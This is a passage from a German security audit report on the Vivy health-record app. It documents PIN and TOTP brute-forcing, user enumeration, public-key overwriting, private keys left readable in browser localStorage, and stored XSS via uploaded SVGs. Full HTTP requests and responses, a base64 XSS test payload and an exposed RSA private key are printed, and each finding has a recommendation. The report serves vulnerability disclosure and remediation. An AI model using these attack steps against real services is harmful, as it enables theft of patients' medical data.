verfiigbar gemacht werden.

4.2.1.6 Das Dokument wurde noch nicht vom Arzt abgerufen und das Teilen wurde noch nicht
beendet

In diesem Fall konnen wie im vorhergehenden Beispiel personenbezogene Metadaten des Nutzers

unter Kenntnis der Session-ID, nachfolgend jhrmn, mit einer beliebigen PIN im Authentication-

Header abgefragt werden. Dazu muss zuerst ein HTTP-PUT-Request mit PIN und einem beliebigen

offentlichen Schliissel an die Vivy-API gesendet werden:

PUT /api/sharesessions/jhrmn HTTP/1.1
Host: app.vivy.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: */*

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.vivy.com/jhmn
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 849

Connection: close

{"externalPin":"0000", "publicKey":"----- BEGIN PUBLIC KEY-----

\NMIICIjANBgkqhkiGOWOBAQEFAAOCAES8AMIICCEKCAGEA24rT6IrFTAZETVYNYmuh\nZwyqFDkfBh/KIQ+YYVZ33Ti05RZ1YTtpPv4
3ZMS0zGIscYRzHrCp6XYUMCFCAng\n/6xrLhQbge/M12mtxZVOQ1lUMrjeMeKqp22hDkg9V78v2D/HETCwtkoozffHFtggd \nSfKm+ba+
e3NrAFZMPXiMPp3+r5qdtgcW7+zbYc9nc9Y+4oy3yva7/alv+bTZPRh3\n10+1Wn9kh8vK1srdPG4T1dtcyA4rWPdcoBRUhSQAbXu6YL
Cp@1dwF5Hgh276Sm6D\nxH7F92fZoY4gSWTd40S7SdOVrGehkPHUoCP8GSaKSv2EANIoPggMNXAAolTIhvwgT \n9QgeYAO3HRzyPaCWW9
dbXZJuER+UpMbVn6EShFVvVQmMSbjTgQaDLTQ8wqIJWmIBxg\nTubd57NuRcv31leZQpno/Qw8k+elzdGktX6taq8bJcLb2HNCmXP3+Ik1R
W2s0yY8r\nT1wGC+rDfmeL336K9nMIJIS1SAkwSNIQZG7+WB1VvRND+zs1F2qdSrcc9cAdSQTISr\ngp8miWFar84LgWHF+SPp/xBjjMIk
BAbXiJvTLAMOJU6B10vqcbHwuiCetwOkVLH2\nRzbzNu8r/2wE8mSfyqnaV/IAvbJ2002kQT3ULUMTNGt+8vaQkwK7treTZCrBxb/2\n
/InjXrmzPygN3m45E8eMIpUCAWEAAQ==\n----- END PUBLIC KEY----- "}

Anschliefiend konnen die personenbezogenen Daten mit der soeben gesendeten beliebigen PIN
unter /api/sharesessions/jhrmn/profiles angerufen werden:

HTTP/1.1 200

Date: Sat, 22 Sep 2018 07:01:34 GMT

Content-Type: application/json;charset=UTF-8

Connection: close

Server: nginx/1.13.12

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, DELETE
Access-Control-Max-Age: 3600

X-Application-Context: uvita-api:prod

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Expires: 0

X-Frame-Options: DENY

Vary: Accept-Encoding

Content-Length: 178745

{
"user" : {
"id" : "c9bbce@d-0c5a-4df1-8d3a-8264760bee89",
"firstName" : null,
"lastName" : null,
"preferredName” : "modzero_test",
"language" : "en-US",
"email" : "test@example.com",
"birthDate" : null,
"pictureFileId" : "uvita-profilepicture-2018-09-21T22:47:15Z-
Ck80rgxfTMBV2WNMRvCEYywDVwrqgNsMTCbOkar2e",
"insurance" : {
"id" : "dak-gesundheit",
"name" : "DAK-Gesundheit",
"number" : null,
"verified" : false,
"status" : "pending",
"supported" : true,
"cardLogoUrl" : "https://uvita.eu/images/uploads/75d74b75-1c44-4c81-98bd-392512771c38",
"invertedColorCardLogoUrl" : null,
"backgroundUrl" : "https://uvita.eu/images/insurances/dak-gesundheit/cardbackground-pr.png",
"contactBackgroundUrl" : "https://uvita.eu/images/insurances/dak-gesundheit/cardbackground-
pr.png",
"color" : "#FFFFFFFF",
"primaryColor" : "#BF4A17FF",
"secondaryColor" : "#FFFFFFFF",
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"features" : [ {
"id" : "sso",
"iconUrl" : null

31

5

"kycStatus" : "initial",

"kycMessage" : null,

"key" : {

"pubKeyId" : "laafdc84-7541-4a3b-9544-edbeab098833",
"pubKeyFileId" : "uvita-pubkey-2018-09-21T18:21:22Z-qfm5ViccEYOT1H7SQuo3fet1QmjxE5653gg7h7ZF",
"pubKeyUploadedAt" : "2018-09-21T18:21:23Z"
5
"terms" : null
s
"doctor" : {

"id" : "ChIJoU-PIgdOgEcRPrN2wdNcIXY",

"name" : "Praxis Prenzlauer Berg",

"photoId" : "CmRaAAAACWDF7S67X51rGnre@leVv-yxe_30Vsbcp-
HBBV8ATqVHqjd_wlTZTeQHaLf50cakjtnYRKVpuwCKEBBx7KdAUO9ES5qydOnHC3029SE9Np5x0r3EVWO87MnIvr6yEEA] zrEnCe6PEFA
feB3M6xVjKmahFrGhShY1Sx08eVLq75WOSPwry5nlgm7w™ ,

"rating” : 3.4000000953674316,

"address" : "Danziger Str. 78b, 10405 Berlin, Germany",

"lat" : 52.5385906,

"lng" : 13.4249988,

"highlighted" : false,

"reviewCount” : 5,

"specialityIds" : [ 1 ],

"source" : "google",

"phoneNumber" : "+49 30 44039972",

"email" : null,

"website" : "http://praxis-prenzlauer-berg.de/",

"openingHours" : [ "D1T@9:00/D1T15:00", "D2T15:00/D2T720:00", "D3T710:00/D3T715:00",

"D4T15:00/D4T20:00", "D5T10:00/D5T14:00" ]

s

"userPictureBase64" :
"data:text/html;base64,PHNjcmlwdD5hbGVydChsb2NhbFNOb3JhZ2UuZ2VOSXR1bSgna2V5]ykpPC9zY3IpcHQ+",

"doctorPictureBase64" : "data:image/jpeg;base64,/9j/4AAQS....5RSP/Z",

"createdAt" : "2018-09-22T07:00:25.450Z",

"expiresAt" : "2018-09-23T07:00:25.450Z"
}

Wiederholt ein Angreifer diesen Ablauf, bis die korrekte PIN nach maximal 10.000 Abfragen
korrekt identifiziert wurde, kann anschliefiend das hochgeladene Dokument abgefragt werden:

GET /api/sharesessions/jhmn/encryptedfiles/uvita-sharesession-document-2018-09-22T07:06:36Z-
RFA6jilyk@GtBWH1WUsdpgMkAuczErZF6r6Xrdme HTTP/1.1

Host: app.vivy.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0

Accept: application/vnd+uvita.encryptedfile

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://app.vivy.com/jhmn

authentication: Pin 3878

origin: https://app.vivy.com

Cookie: mp_vivy c=0; _ zlcmid=oWhflnYnBZImGw;
mp_0f37cbed5273d8d90979e2d6b980e0ed_mixpanel=%7B%22distinct_id%22%3A%20%221660008860c449-0cdea97d0373e6-
75276752-1fa400-
1660008860e1e8%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24initial_referring_domain%22%3
A%20%22%24direct%22%2C%22platform%22%3A%20%22web%22%2C%221anguages22%3A%20%22en-US%22%7D

DNT: 1

Connection: close

Pragma: no-cache

Cache-Control: no-cache

Die Vivy-Plattform liefert das Dokument zwar verschliisselt aus, es kann aber trivialerweise mit
dem zum soeben tibertragenen oOffentlichen Schliissel zugehorigen privaten Schliissel
entschliisselt werden:

HTTP/1.1 200

Date: Sat, 22 Sep 2018 07:06:38 GMT

Content-Type: application/vnd+uvita.encryptedfile

Content-Length: 288

Connection: close

Server: nginx/1.13.12

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, DELETE

Access-Control-Max-Age: 3600

X-Application-Context: uvita-api:prod

X-encryption-cipher-key:
OUFfcx+s6Foq4vV80h23iMaTb/PYX+GYqC3CcjgyAzHIfBOSGS+IVKyttvROyxHzmXtbRmThz/UAmziHP5+pu+CbQ1YN61JADV22z89n2
bntZ+y/NxO+kb41boCi9+J+75Y3W40PjIBSIe9+fy/LkqFh8SCOPFBWQ6rCKly /wqixfT7qiWjuCov79jihISvqucGHEUBLRCQHgI2u5
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qb9eTZxFkO7eJULOX4AFYCZ2tShxR8AbNA69x5xbFXYFZNAWi+L42hNAKUM@dQqgFFk3VHr2C4mbVdaz3tm/Scfc93FZ0pwBSAOLroJ21i5
ZcN30oeW3041MIeTCOz/4uecLCsHAt1fxzdecK6XBZqvAxadDanSFe8/y4kS1gqC5d10X000FI/IOBKWQO6FSWR31xcr3WT25zDFxhChy
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HMRF30RNkuPNhm+ft2cdWuzIQIANhapNYAwjcxvc58rMqdLU6i+IgmPTc6E=

x-encryption-content-type: image/svg+xml

x-encryption-compression: gzip

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: @

X-Frame-Options: DENY
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Der Zeitraum fiir einen solchen Angriff bis zum Abruf des Dokumentes durch den Arzt ist
erwartungsgemaf? kurz, da diese Teilen-Funktion fiir den Einsatz direkt vor Ort in der Praxis des
Arztes konzipiert ist.

Allerdings wird die Session-ID wie zuvor dokumentiert direkt nach Offnen der Browser-App durch
den Arzt und noch vor Abruf des Dokumentes an Dritte libermittelt, welche dann wie dargestellt
innerhalb von Sekunden einen erfolgreichen Brute-Force-Angriff auf die PIN durchfithren kdnnen.

4.2.1.7 Empfehlung
Personenbezogene Metadaten wie Versichertennummer und Geburtsdatum sollten genauso wie
das eigentlich zu libertragende Dokument geschiitzt werden.

Die Komplexitat der PIN sollte deutlich erhoht werden. Zusatzlich kann eine Ratenlimitierung von
Abfragen und eine Beschrankung maximal moglicher PIN-Eingabeversuche die Sicherheit
erhohen.

4.2.2 Uberschreiben offentlicher Schliissel

Typ/Klasse Kryptographie
Aufwand Mittel/Hoch
Auswirkung Mittel/Hoch
Ort Vivy-Plattform

Ein authentifizierter Nutzer kann seinen auf der Vivy-Plattform hinterlegten 6ffentlichen Schliissel
tiberschreiben. Kenntnis des privaten Schliissels ist dazu nicht notwendig. Gelingt einem Angreifer
die Authentifikation, kann er ohne Kenntnis des privaten Schliissels des angegriffenen Nutzers
dessen kiinftig tibertragenen Dokumente entschliisseln.

Nach Installation der App hinterlegt der Nutzer den 6ffentlichen Schliissel des lokal generierten
Schliisselpaars auf der Vivy-Plattform. Mit diesem Schliissel verschliisseln dann Dritte,
beispielsweise Arzte oder andere Nutzer, alle mit diesem Nutzer geteilten Dokumente.

Unter Kenntnis eines giiltigen Access-Token eines angegriffenen Nutzers kann ein Angreifer im
Namen dieses Nutzers einen neuen 6ffentlichen Schliissel an die Vivy-Plattform senden. Teilen nun
Dritte Dokumente mit dem Nutzer, sind diese mit dem offentlichen Schliissel des Angreifers
verschliisselt. Nur der Angreifer kennt den passenden privaten Schliissel und kann die Dokumente
entschlisseln.

Sofern der Nutzer seine Identitit zuvor bestatigt hat, kann der Angreifer im Namen des Nutzers
beliebige Dokumente bei beliebigen Arzten anfragen.

Ein giiltiges Access-Token kann bereits nach einem erfolgreichen einfachen Angriff, wie Phishing
der Zugangsdaten eines Nutzers, erstellt werden.

4.2.2.1 Empfehlung
Der offentliche Schliissel eines Nutzers sollte, wenn tiberhaupt, dann nur nach besonderer
Legitimationspriifung gedndert werden kdnnen.
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4.2.3 Brute-Force-Angriff auf Zwei-Faktor-Authentifizierung

Typ/Klasse Authentifizierung
Aufwand Gering
Auswirkung Mittel/Hoch

Ort Vivy-Plattform

Die App setzt bei der Authentifizierung auf ein Time-Based One-Time Password (TOTP) als
zweiten Faktor neben dem Passwort des Nutzers.

Zur Authentifizierung muss neben giiltiger E-Mailadresse und Passwort auch ein sechsstelliger
numerischer TOTP-Code mitgesendet werden. Dieser TOTP-Code dndert sich alle 30 Sekunden, ist
aber iiblicherweise ldnger giiltig fiir den Fall nicht synchronisierter Uhren zwischen Client und
Server.

Die Giiltigkeit eines TOTP-Codes kann unter Kenntnis von E-Mailadresse und Passwort eines
Nutzers einfach mit einem Anmeldeversuch per HTTP-POST-Request tiberpriift werden:

POST /oauth/token?grant_type=password HTTP/1.1
Accept-Language: en-US

x-uvita-client: android

Authorization: Basic YWS5kcm9pZDpuZW10aGVyYW5kcm9pZHdpbGxiZXRoZXJI1YW55bWOyZQ==
x-uvita-version: 1.16

x-uvita-device: Bee E7S

Content-Type: application/x-www-form-urlencoded
Content-Length: 56

Host: auth.vivy.com

Connection: close

Accept-Encoding: gzip, deflate

User-Agent: okhttp/3.11.0

username=test%40example.com&password=passwortl123&code=314501

Bei korrektem TOTP-Code antwortet der Server mit einem Access-Token.

Der TOTP-Code soll als zusatzliches Authentifizierungsmerkmal einen Angreifer davon abhalten,
allein unter Kenntnis von E-Mailadresse und Passwort eines Nutzers ein Access-Token zu
generieren. Allerdings ist der TOTP-Code sehr kurz. Praktisch ist es zwar aufwandig, wenn nicht
gar unmoglich, innerhalb der Giiltigkeitsdauer eines TOTP-Codes von 30 Sekunden alle 1.000.000
moglichen Codes per Anmeldeversuch durchzuprobieren. Dies ist jedoch auch nicht nétig, denn
die Erfolgswahrscheinlichkeit eines Brute-Force-Angriffes sinkt iiber mehrere Intervalle von 30
Sekunden nur unwesentlich. Im Analysezeitraum konnte bei moderaten 1.000 Abfragen pro
Minute ein giiltiger TOTP-Code zu einem gegebenen Nutzer nach durchschnittlich 60 Minuten
gefunden werden.

4.2.3.1 Empfehlung

Eine allgemeine Ratenbeschriankung sowie eine Beschrankung der maximal zuldssigen PIN-
Eingabeversuche in einem bestimmten Zeitraum senkt die Erfolgswahrscheinlichkeit eines zeitlich
begrenzten Brute-Force-Angriffs.

Fir zusatzliche Sicherheit gegen Replay-Angriffe sollte ein akzeptierter TOTP-Code kein zweites
Mal akzeptiert werden.

4.2.4 Fehlermeldungen bei Login begiinstigen Brute-Force-Angriffe

Typ/Klasse Information-Disclosure
Aufwand Gering

Auswirkung Gering

Ort Vivy-Plattform

Die passwortgestiitzte Anmeldung erfordert zusatzlich zu E-Mailadresse und Passwort des
Nutzers einen auf Basis eines bei erstmaliger Anmeldung mit der Vivy-Plattform ausgetauschten
Shared-Secret erzeugten giiltigen TOTP-Codes.



Der Authentifizierungsendpunkt auth.vivy.com/oauth/token?grant_type=password liefert je nach
Korrektheit des TOTP-Codes unterschiedliche Fehlermeldungen.

Bei inkorrekter E-Mail-Adresse oder inkorrektem Passwort und ohne TOTP-Code:

{"error":"invalid_grant","error_description":"Bad credentials"}

Bei korrekter E-Mail-Adresse und Passwort und ohne TOTP-Code:

{"error":"sms_code_required","error_description":"2FA is required","sentTo":"+491234567890"}

Bei korrekter E-Mail-Adresse und Passwort, aber inkorrektem TOTP-Code:

{"error":"invalid_grant","error_description":"Invalid code"}

Auf diese Art kann ein Angreifer die Giiltigkeit von E-Mailadresse und Passwort unabhingig vom
TOTP-Code verifizieren.

Uber den API-Endpunkt api.vivy.com/api/users/validations/emails/text@example.com kann dariiber
hinaus die Giiltigkeit einer E-Mailadresse verifiziert werden. Ist ein Nutzer mit gegebener E-
Mailadresse auf der Vivy-Plattform registriert, lautet die Antwort:

HTTP/1.1 400

Date: Tue, 02 Oct 2018 ©8:22:35 GMT

Content-Type: application/json;charset=UTF-8

Connection: close

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, DELETE
Access-Control-Max-Age: 3600

Access-Control-Expose-Headers: x-encryption-cipher-key, x-encryption-compression, x-encryption-content-
type, x-encryption-version

X-Application-Context: uvita-api:prod

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Expires: ©

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

Vary: Accept-Encoding

Content-Length: 277

{
"error" : "Email already used",
"error_description” : "An account with the email already exists",
"error_payload" : {
"property" : "email",
"title" : "Email already used",
"message" : "An account with the email already exists"
s
"error_code" : 400400
¥

4241 Empfehlung

Die Dimensionalitdt des Suchraumes eines Brute-Force-Angriffes bestimmt mafdgeblich dessen
Erfolgsaussichten. Konnen E-Mailadresse, Passwort und TOTP-Code nicht individuell verifiziert
werden, steigt der Zeitaufwand fiir einen Brute-Force-Angriff enorm an.

Aus Griinden der Benutzerfreundlichkeit m6chte man nicht immer auf eine getrennte Verifikation
von E-Mailadressen, insbesondere im Registrierungsprozess, verzichten, obwohl dies bei einem E-
Mailbasierten Registrierungsprozess moglich ware. Hier kann eine Ratenbegrenzung die Anzahl
moglicher Abfragen in einem bestimmten Zeitraum pro IP-Adresse einschranken und somit den
Aufwand auf Seiten des Angreifers erhohen.
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4.3 Browser-App

4.3.1 Unsichere Speicherung von Schliisselmaterial im Browser

Typ/Klasse Credentials-Management
Aufwand Gering

Auswirkung Mittel/Hoch

Ort Browser-App

Die Browser-App speichert private Schliissel unsicher. Unsicher gespeichertes Schliisselmaterial
ist ungeniigend vor unautorisiertem Zugriff geschiitzt.

4.3.1.1 Details

Teilt ein Benutzer aus der Vivy-App heraus ein Dokument mit seinem Arzt und mochte der Arzt
dieses mit seinem Browser abrufen, so benoétigt er hierzu einen 6ffentlichen sowie einen privaten
Schliissel. Beide werden in der Browser-App im Browser des Arztes erzeugt.

Beide Schliissel werden im 1ocaistorage des Browsers hinterlegt und koénnen per JavaScript
ausgelesen werden, wenn der Origin des JavaScripts mit dem Origin der Browser-App
libereinstimmt.

Kann ein Angreifer eine Cross-Site-Scripting-Schwachstelle (XSS) in der Browser-App ausfindig
machen, so kann er sowohl mit einem gezielten als auch in die Breite gerichteten Angriff
JavaScript-Code mit dem Origin der Browser-App einschleusen und den privaten Schliissel
auslesen.

Beispielsweise lassen sich, wie unter 4.3.2 und 4.3.3 beschrieben, Dateien hochladen, die
schadhaften JavaScript-Code beinhalten. Dies betrifft Dokumente, die gezielt fiir einen bestimmten
Arzt bereitgestellt werden, aber auch allgemeinzugangliche Profilbilder, mit denen ein beliebig
grofder Personenkreis angegriffen werden kann.

Die gezielt an einen Arzt gesendeten Daten sind verschliisselt und kénnen zundchst nicht von
Dritten entschliisselt werden. Der schadhafte Payload in den verschliisselt ibertragenen Daten ist
in der Lage, den privaten Schliissel des Arztes zu kompromittieren, ohne dass der Arzt oder die
Plattform dies bemerkt.

Beispiel: Nach Offnen von zwei geteilten Dokumenten in der Browser-App waren im localstorage
des Browsers folgende Eintrage vorhanden:

ZD-buid: "ef7cObed584f3081fb3e@99fa2bde3ec”

ZD-suid:
"{"id":"@d7ff3ec33da9fa53a01b96del6773c9", "expiry":1537584223855, "tabs": {"count":1, "expiry":0}}"

key: "----- BEGIN RSA PRIVATE KEY-----
¢MIIJIwWIBAAKCAGEA]jxf2SBkqtCW8upwnUgVhRTOCADhWWBZ29y1IBcZgpjrhzCIN<j2NGMioCTéw]L3xImelc6AUYHOoTQuUQkUsBVUdW
6DP10Lg+TCWINEMmMNSADMbkUI2<eD8afq5NMBeTqK77gfC1MnonmSXDLWYy+kDORIG+jSB6a4gz/vqItxQpf4Uu3qus <+tGUYQCOUDVO
1W/SnR3PA70Q2qSZReaDE4+87jj1pjjpy8/X1xh+WZQMFyd/DO6RT<461Xm+ecYRWL/BTid36I7gLLLOvwOSgWesa/1VbXXdrfRyaygVvE
/APVZNKgW9tNE<aJU0015BEDdoGgeUfpIA+00mORDMQ8pIRGU+GOaRKXSE jx4rWzHUW6CjOKZVAFRV<ssZFnp17A11b/nDOYhm5+31/9
mc+K6t0aUNvd9bdYz538WyYLnaVhrdk0Q7IB3SX<cokAJ/xtum9rjoP1rUjzH5Xs/1VQ+kawk41QvOBDsdZ5bVUjbIFyy/eL54SNGZP3
4Um50VR7IGg5HpI+wq30z8yhWwexq@o9znm4abaLmCrIBxcSx4FUe6@UAomUuXEsU7y«DFXHULYmkvOwg69ZiXz780g39EgoF3TyhIAHN1
r6Ykr7VyFEUujfKH61CFdoagmT<pFyo8s5j4rjXgN+QVzTYpK1nuScen62NPPtTTHeMQSHR1A7zrXD3N6MYP/MCAWEA ¢AQKCAgAh41u4d
gPUiyZjiW53YB1lwcRfdX+f9Y6ML2]jjj23R3/3wufCiVI4gk6UcZQ<VYPTd8u9XoxYiPRILcO7M9IITBO+5xd/Rqo/3yDCVtH15DO1YUT
RReueF9tPSjk0</VZC6IS4IWMIC/IajGevoXZ22ie+Azc7NginNA6T/4Hi74xQHRGXMGSFYOGRAtFI<k7ILZLpr6CYgSOIUODEZYZz2AW
VW2HQbE3kRgTssPSmWTr96MCk{V8yDGVVBgo7zd<IJHWMimmCQF ludwzkXWGuyWHXxWuUMQM80825R6/Dznur7cCQCwRcHBco6Namz2gPv
<kh890rPgMPS4Xbp/4U+V1+43mv3237H/I1mRc9QLbozu40alzVsesJ18gus1RhpW<1ZIgI8AWR7GtgNMWNwHWhFelPcp4w6pafP8x+N
DRMsSsR/vvVhlePcCfW/IJeRtQ¢K7/yhxvXAttYCxmB/ROUiCK/qjIXLxI900ZmPB5mAqm4ZWgbg/HGn+I7f2zROF7N<9BouBWuaVmDF
T1ByV98WsOXmNE740A1ngmYTbYv97iYjyMrRWRS2tDDWO9dDW793 < iHii8MdTqBREG/fahASNymnuvWC+00gTRCgZim3r5yJouy4ReA3
X+01sc4YBp3eY<Sp804YuhglSth2xNFkVx2elbAYxOFawM3k6ptZXQ2XuntqUVkQKCAQEA14vbg+e/ ¢hR19nzbXn+zfpZCiIUY4XrB2E
qz8ZCuMkMFM+YcqtGGkH80hKFJpp84+xYGZdweq«23m2eLidYFi/8DSr1jXxbR1B8K1nRWGVPFc4E/WfLNOCgIXyHO9/nEQSYFYVQf40
d0i8e+ifCHqjo8jMOX10hIWFg6DZgwhbWg8ivyp4veFCr5rf+zXMvPhNmUVX8Ncx4«<wByByimxBC26x2NSO1y09S6BKkAHTaYSuXOEamo
dUPEbRvcMOhKdbjd513gad3KHO<dk87nXvVaGooyZ4UGQKB4eCXPNkaBroa@3S7MzKB67mddxGcCCKAh9F +5b@CXUAT «RTAFpLIgK LKV
WQKCAQEAQFfMKGUHqYXRgkeZjLm96+Z0nIBGnXaQqndjy1VgjhYyU<MhjlpnMIByRfaMréwDOghCKYI1FpjfSNaQGIFfcDThvudNMTgmy
CHZHLFQMvim7E<JR1IMgcfds1TAIplPOstrG/n47ZDFRq5kHEFV1t294xgqjqZLULlbpxKNm72HpGT5g<UqyhqYpXa8kRvFI5A8Z6QGzBw
JOvgEchPM2EvrdOWFBG51i0YUgORGXYJGaG26dDk<vbynInSQ+21Rf7atgH758tfs8PEabvRCvmingxf51RFI1x6dNcXQe9RToyENa23j
42MUVM8gRIiknfGMpXMVCxfvhaeWYZuzZ6tq7B55s6KwKCAQBKArNKMTTP2aQYWaRm<¢UpSMAAgECXIyK1gKOIF jh+HINO86TiSFEMFFq+
EI1CkS/MVAMLURBILKykjHfjH4TWA51QK8KDedkimjpCdwexZXn3HDNXW8z3gdN4prVSX/s4KzeByAlfSdkkNv47pE<jqiH5Qcb770h
UIirhKDvLaIdgpbYjUbNWAmxGcGzvU3vgivtrvy@cDgPfBf31a6D<ZiPb0/2IeznLowGud4PsyAUQDcEBaPzyCCS8igIICCD91AkdPy0
/RxQE9JggqblG¢GobuIXaUDdPOFURUZpTt02EWKACtO+FhdVZolLxh8zYrMbS1upoFP1ITnNVcXITb<u9fZAoIBAAdhVIkCUolU4uPfG
20C19ZKwTFhyuDYJjmgmDsHItNX3X+ncSGFUTPu«Mm58khMTFOUUDQN4F5tgiVuMA3rgtTYJJICC6hG2iEF8eVM6RjA+yynIRXdAFVK1P
<30BQPA6TktOuI885QVjybcqEVPUBV1AIVp/HPPIgcBpn9ipjGBpOiSRNItID8LPV<kWOaOUMetWRi1K8mOrLZY+oeCqulj8neApYveY
d2hHOUmqSQTz8sISLUNHXclgc1¢IhrntfUkjnorQlDcR4eVo+gI528YpXACDMXx0GYbZwhZmiAlaT3HEePx+xQ+4z+w<¢hdRzAfLTZiju
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3UUaAVpGnAGe6TDDNu@CggEAL jxPBDKV60yMyRzIMI8scK3xqyOj<IEzrEem+aERtzNMrSHrO9QIK2+F/1UKEoONX1w+aF 1AJmX2YWFy I
6SCFDOLMKBpHT<v6cWWVBQYXSr7jmTcTpG39WzNZ4pdTQUiUiadyFI7IZa2P+2a4xGCp6D1rlqdoKd<1PpolRpzrin9ebEIVD9aUbwei
XEy5I8LRsQjQvB1hX9Quw/MvVvYFt3LbMquHWyvD<+dEUNAP61jO+AWI7Tr62smcRiS2LXHMXRV ] j3X+Xx5Mag8Z5FfbFcJ2WOHIX+QDc/

4mQ5049HLxYbOo6mbR1xgjKF5INoXgM+0yiVKrBOSg8+nXCH5Ua5EWOUF pw==¢-- - - - END RSA PRIVATE KEY----- "
pins: "{"mimhs":"2233","ltgsw":"4133"}"
__zlcstore: ..

Unter Kenntnis dieser nicht vor Auslesen durch JavaScript geschiitzten Informationen kann ein
Angreifer alle verfiigbaren Dokumente, die mit diesem Arzt geteilt wurden oder werden, von der
Vivy-Plattform herunterladen und entschliisseln.

4.3.1.2 Empfehlung

Der private Schliissel sollte nicht programmatisch ausgelesen werden kénnen und idealerweise
auch gegen lokale Angriffe auf den Arzt-PCs geschiitzt sein. Hierfiir eignen sich verschiedene
Ansatze mit unterschiedlichen Risiko-Abwagungen:

e Smartcard oder vergleichbare Hardware-Sicherheits-Module (HSM)
o Sicherer Keystore des Betriebssystems
e Einsatz von nicht-extrahierbaren Schliisseln der Web-Crypto-API

In jedem Fall wird zwar der direkte Zugriff auf den privaten Schlissel unterbunden,
eingeschleuster JavaScript-Code kann allerdings weiterhin zuvor aufgezeichnete Nachrichten
entschliisseln, beispielsweise iiber die Methode crypto.subtle.decrypt der Web-Crypto-API, und den
Klartext iiber das Internet an den Angreifer senden. Auch daher darf die Browser-App weiterhin
nicht per XSS angreifbar sein.

Eine Speicherung im sicheren Keystore des Betriebssystems oder einem HSM bietet zudem Schutz
vor Auslesen des privaten Schliissels durch Schadcode aufderhalb der Browser-Sandbox.

Einen weitreichenderen Schutz bietet ein Schliisselaustauschprotokoll mit Perfect Forward
Secrecy (PFS). Damit kann eine zuvor aufgezeichnete verschliisselte Nachricht auch unter
Kenntnis des privaten Schliissels nicht nachtraglich entschliisselt werden.

4.3.2 Persistentes Cross-Site-Scripting in geteilten Dokumenten

Typ/Klasse Cross-Site-Scripting
Aufwand Gering

Auswirkung Mittel/Hoch

Ort Browser-App

Die Browser-App ist von einer persistenten Cross-Site-Scripting-Schwachstelle (XSS) betroffen.
Ein Angreifer kann JavaScript-Code einschleusen. Besucht ein Anwender daraufhin den
betroffenen Bereich der Webanwendung, wird der Code im Browser und mit den Rechten des
angegriffenen Benutzers ausgefiihrt.

Persistente Cross-Site-Scripting-Schwachstellen erméglichen einem Angreifer das Einschleusen
von bodsartigem JavaScript-Code in die Webanwendung. Aus Sicht des angegriffenen Benutzers
bzw. dessen Browsers ist die Herkunft (Origin) von eingeschleustem Code und von legitimen
Inhalten der Webanwendung identisch. Der eingeschleuste Code unterliegt daher nicht den
Beschrankungen der Same-Origin-Policy.

Der eingeschleuste Code wird im Browser des angegriffenen Benutzers ausgefiihrt und kann in
seinem Namen und mit seinen Rechten Zugriff auf Inhalte der Webanwendung nehmen und diese
verunstalten (Defacement), Session-Cookies oder andere sitzungsidentifizierende Merkmale
auslesen (Session-Hijacking) oder Passworteingaben aufzeichnen (Phishing).

Schadcode kann auf mehrere Arten in eine Webanwendung eingeschleust werden. Bei einem
reflektierten XSS-Angriff wird Schadcode tblicherweise in einem HTTP-Query-Parameter,
seltener in einem HTTP-Request-Header oder im HTTP-Request-Body an die Webanwendung
gesendet, welche diesen daraufthin in den zuriickgelieferten HTML-Code einbaut. Bei dem hier
beschriebenen persistenten XSS-Angriff dagegen wird Schadcode dauerhaft beispielsweise in der
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Datenbank der Webanwendung gespeichert und an Benutzer ausgeliefert, ohne dass es zuvor
einer speziellen Interaktion zwischen Angreifer und angegriffenem Benutzer bedarf.

4.3.2.1 Details

Vivy ermoglicht Benutzern, Dokumente mit ihren behandelnden Arzten zu teilen. Hierzu muss der
Benutzer zunichst iiber Klick auf “Upload Document” ein Dokument auf die Vivy-Plattform
hochladen und anschliefdend mit einem Arzt zu teilen.

O = 0 (1 96% M

O = 00 96%

Documents
Only visible to you

Other

Personal link

Vivy request from doctor

Other

Upload documents

Qo Share with doctor

< o RN

Pl Share with other users

Ein Angreifer kann diese Funktionalitdt nutzen und ein Dokument mit eingebettetem JavaScript-
Schadcode teilen, beispielsweise ein SVG-Dokument:

POST /api/users/me/sharesessions/bretr/encryptedfiles HTTP/1.1

x-encryption-cipher-key:
Dj1j1zFQG+kyvPImnBBmzwodQCFtZ18GWU4TIna9qjNHmjfVyKiuy+E5zkBf3hfiXcY6S4nmol+3yPqf4Zjfbhe9QSpIM3whNTOqQB40
2Sn13kUBel4GoOvYxpQ2dCwI23Y1KEilx1x0QhhNzsrKjAIxiiG15H8zrI4Bq2vOc3iKR9f8q3ujm81z8jP91wBT61+53EQ7ivuF5ua0
4urzNA1l/a2WToqLe6qfXWg+2Q8LXXTwl49uQmUiC5PwrLQomESH3G/zoYWQEhqhqCOwZtcZtjAYY3XEBNP7BXVALOOkPauEOL7gnR1V]j
WA7mSp2CQctiX4pLQcsWOedHXmODIPeMInOMzkB96Q553xMXCzkmGWwPH2KhOwWxR91LkSavi/PHIMUrmT4pePYTaisuPNkWXtz/a9FIA
zvj92xTryt5kFDUFtu2R370AyRKCMeekBOCdhIH2h7NtvcfM132GIFsWB20HKQgm85ePEUSsmUzpWFyDIpzjePkadPzRAeaxX/iSI/PU
701ZvIqf4FoT+MASULA34TQrIWRGj1PI1xn/GxDpICITErA4NOiiBV/Fojm3yC5gVYnuI19Ykal txtAELFuQYk1SpZeyi7b21y69grio+
